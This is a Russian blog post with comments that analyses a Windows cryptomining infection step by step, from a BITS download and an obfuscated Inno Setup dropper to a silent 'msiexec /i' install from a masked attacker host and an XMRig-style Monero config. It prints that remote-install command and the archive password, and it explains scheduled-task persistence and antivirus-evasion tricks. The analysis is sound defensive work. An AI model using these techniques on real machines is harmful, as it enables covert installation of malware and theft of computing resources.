6312

Криптоджекинг. Разбор случайного вируса-майнера под Windows.

Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство "мастеров", думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker'ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ - открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В автозагрузке, повторюсь всё в порядке:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.

Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов - ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует "Планировщик заданий" (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Дальше я стал копать и выяснил, что бирюзовое окно - это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива - всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это - файл инсталлятора чего-либо:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, как оказалось, программа никаких файлов в себе не содержала - только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal'е, и получил следующий результат:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология
Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз - да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом - если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково - обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется "Info-Zip UnZip", и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик - что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает - распаковываются файлы только оригинальным UnZip'ом при помощи этой команды.
Все файлы внутри архива - исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Этот файл представляет собой json - конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету "Monero". Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера "****Rig":

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую "работу", и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом - никаких окон).

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.

Найдены дубликаты

+505

Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса.

Это задержка в 5 сек. перед выполнением команды Del.

раскрыть ветку 143
+250

Спасибо, интересный факт

раскрыть ветку 129
+47

Автозагрузку надо смотреть с помощью хотя бы autoruns.exe, а не через msconfig, в котором практически ничего нет.

раскрыть ветку 14
+137

Pause нет в винде, вот так заменяют

раскрыть ветку 13
+63

Был такой антивирус бабушкина. Он тоже что-то пинговал, чтобы вызвать задержку, либо, чтобы скрипт не завершился - точно не вспомню. По-моему, он это для демонизации юзал.


Точно: он использовал ping mail.ru для задержки. Возможно, вы нашли вирус Бабушкина. Надо просканировать код на наличие строчки "Еби гусей".

раскрыть ветку 3
+12
Спасибо, не подскажите дельный совет, я свой ПК обычно в гибернацию отправляю, но он из нее самопроизвольно просыпается, я уже убирал в ресурсах чтобы он от Клавы и мыши не просыпался, и гуглил что в cmd что-то прописывать надо. Но снова просыпания начались. Это может Майнер?
раскрыть ветку 60
+3

Ответь ньюфагу,если переустановить шиндоус,можно снести майнер или он в биосе?

раскрыть ветку 4
+3

Вопрос от человека, который совсем не в теме компьютерной безопасности. Вы назвали некоторые антивирусы "простенькими". Можно подробнее? Чего стоят самые популярные нынче антивирусы? Например, я пользуюсь Нод32. Он простенький?

раскрыть ветку 19
0

И каким же антивирем защищаться нам всем?

0
Добрый день! А занимаетесь ли Вы "лечением" компьютеров на дому? В Москве? Как можно с Вами связаться?
раскрыть ветку 1
-128

ви еслиб работали в ит знали бы интересные факты.

раскрыть ветку 6
ещё комментарии
+31

Точнее, не 5, а 4 сек. Первый ping сразу выполняется.

раскрыть ветку 1
+6

Ну тогда не 4, а 4.0... секунды, ведь пинг даже до локалхоста не моментальный ;)

+6
Ой а скажите что-нибудь по программистски?
раскрыть ветку 5
+9

Я не отлыниваю, просто проект компилируется

раскрыть ветку 1
+2
Привет, мир.
+2

May the source be with you!


Песня:

https://www.youtube.com/watch?v=zWZybFMQNqw

0

Cout << "нет";

+2
Комментарий удален. Причина: данный аккаунт был удалён
+1

во 1х апдейты спасут мир.. ибо кто не залатался, я не виноват.

во 2х в cmd ну нету задержек посему приходится пинговать

в 3х кастрирование прав пользователя спасет ибо вот так вот.. )

в 4х колеги админы. Неужели мы перестали мониторить трафик пользователей?

пс..

connectivitycheck.gstatic.com/generate_204

а через вот так было бы не плохо

раскрыть ветку 2
+8
Он сказал про домашний компьютер.
раскрыть ветку 1
0

а вот и автор майнера подъехал)

+589
Как будто старый Хакер почитал )
раскрыть ветку 52
+267

Да-да! Те же ощущения. Автору - респект!

+160

Ага, учитывая что кто-то написал вирус на паскале. Какой-то олдфаг.

раскрыть ветку 20
+52

А чтобы изменилось, будь он написан на python, java, haskell?

раскрыть ветку 3
+10

Думаю, что взяли готовый на С и доделали под свои нужды.

+7

Паскаль по-прежнему используется для олдфажных сценариев, у меня любительский RouterScan использует подключаемые скрипты на Паскале, на близком ему Делфи небольшой системный софт (те же вирусы) до сих пор пишут, Нешту например, какой-то софт для r-keeper'ов, больше навскидку не вспомню.
Короче Паскаль-подобные языки в контексте вирусописательства скорее живы чем мертвы, а джава с пайтоном идут в помойку со своим оверхэдом имхо.
Если только они не эксплуатируют дырки вм и интерпретаторов, предназначенные для выхода во внешнюю среду, но за себя скажу что ничего об этом не знаю.

-49
*какой-то нуб.
раскрыть ветку 13
ещё комментарии
+10
Накал страстей зашкаливает, почти Агата Кристи
+34
Крис Касперски...
раскрыть ветку 7
+13

Хороший был Человек.

раскрыть ветку 6
+8

а простым смертным как выявить майнера на своем компе? А то у меня закрадывается подозрение что есть что то такое. Тупить стало прямо жутко все.

раскрыть ветку 9
0

В диспетчере задач видно процесс, который постоянно даже при простое жрет определенное количество ресурсов (в посте max-cpu-usage 60).

Нагрузку на видяху через стороннюю прогу (gpu-z или еще что).

раскрыть ветку 8
+16

Не хакер, а ксакеп

+2
А сейчас там нет такого?
+1
Иллюстрация к комментарию
раскрыть ветку 2
+1

Ооо, помню когда был лохом повёлся и запустил этот файл на своём основном компе. Пришлось винт выкинуть(

раскрыть ветку 1
0
Возможно потому что ты и есть старый хакер?)
-1
Точняк, я ща вспомнил про майнеров, раньше пару раз подцеплял где то, но они видны были в менеджере задач как процесс грузящий систему, про то снес. Недавно в игрушке видяха на 100процентов на чинала робить, зотя в процессах ничего не было, опять какая то зараза новая прицепилась видать.
-5
я интерпретировал его на FreePascal'е
имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++

Даже в Хакере не писали настолько неправильно. Автор научился программам, но не может в терминологию.

-47
/написал
раскрыть ветку 2
+19

Здесь имеется ввиду журнал\сайт. С Уважением.

ещё комментарии
ещё комментарии
+189
Комментарий удален. Причина: данный аккаунт был удалён
раскрыть ветку 9
+200
Комментарий удален. Причина: данный аккаунт был удалён
раскрыть ветку 1
+76

Аналогично!

Ничего не понял, но прочитал полностью и одобряю))

+154
Ты можешь поставить минус, а потом дважды нажать на плюс.
Иллюстрация к комментарию
раскрыть ветку 4
+16
Иллюстрация к комментарию
раскрыть ветку 2
-10

-1 + 2 = +1

0 + 1 = +1

ещё комментарий
-1

С восьмого выня можно ставить что угодно из репозитариев windows через OneGet

https://habr.com/post/239155/

msiexec.exe как-то не пользовался, но видимо она появилась раньше.

Кому не лень, проверьте, поставится, например, фаирфокс по команде

msiexec.exe /q /i https://ftp.mozilla.org/pub/firefox/releases/52.9.0esr/win32...

раскрыть ветку 1
+7

Не поставится - msiexec не умеет *.exe устанавливать.

+106

Я ничего не понял, но на всякий выключил компьютер

раскрыть ветку 11
+11

да? то-то я смотрю, у меня скорость сетевого обсчета крипты упала.

включи, будь добр.

раскрыть ветку 2
+3

А за свет кто будет платить? Ты знаешь, сколько FX9370 жрет? В комнате спустя 30мин можно тепловой удар получить! Нет! Я пойду лучше с планшета посижу

раскрыть ветку 1
+34

Это видимо пост про компуктеры. Но это не точно.

раскрыть ветку 2
-2

Являются ли Вм компЮтерами? ) правда или Миф.. ) Читайте в следующем выпуске vmware news )

раскрыть ветку 1
+1

Смартфон тоже выключи. Это тоже компьютер.

0

во во и я как будто на китайскм прочла и что нам делать компьютерно безграмотным.

раскрыть ветку 2
-1

Вы и на русском так-то не особо грамотны.

раскрыть ветку 1
0

Улыбнуло)))

+56

это всё хорошо, а как отловить и вычистить уже засевший майнер?

раскрыть ветку 80
+29
По нагрузке на гпу
раскрыть ветку 72
+18
Ну, как минимум майнер в посте майнит на cpu.
+16
Это ты конечно хорошо ответил, но мониторинг GPU в стандартных средствах появился (если я не ошибаюсь) только с Win 8, а так нужно скачивать хороший диспетчер задач
раскрыть ветку 66